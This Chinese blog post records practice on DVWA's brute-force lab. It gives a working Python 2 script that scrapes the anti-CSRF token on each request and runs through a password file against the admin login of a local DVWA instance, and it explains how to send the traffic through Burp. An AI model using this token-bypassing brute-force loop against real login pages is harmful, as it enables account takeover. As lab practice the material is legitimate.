DVWA之Brute Force更新
2018-02-28

前言

今天又练习了一遍DVWA,发现了一些小问题。

问题一

在原文http://www.freebuf.com/articles/web/116437.html 中的python代码我重新运行了一遍,发现有错误。提示没有这个'input'的Type,所以我做了下修改就能正常运行了。
原先的user_token = soup.form.input.input.input.input["value"]
改成了user_token = soup.find_all("input")[3].get("value")# get the user_token
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.59.127',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.59.127/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=4ac4tdpdn25suknveha54ml3i2'}
requrl = "http://192.168.59.127/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
req = urllib2.Request(url=requrl, headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page, "html.parser")
user_token = soup.find_all("input")[3].get("value")# get the user_token
#user_token = soup.form.input.input.input.input["value"] # get the user_token
return user_token


user_token = get_token(requrl,header)
i=0
for line in open("pass.txt"):
requrl = "http://192.168.59.127/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break

问题二

我在freebuf上面看到下面的评论说怎么在cmd运行,能在burp上面抓取到信息。
我原先想在pycharm上面运行,然后抓取,发现设置了http代理不行。
官方设置教程:http://www.jetbrains.com/help/pycharm/http-proxy.html
pycharm_http-proxy

后来想到了在cmd下面设置代理不就行了吗,参考了文章:
http://blog.csdn.net/rznice/article/details/50705451

成功实现了作者的burp抓取cmd的流量:
pycharm_http-proxy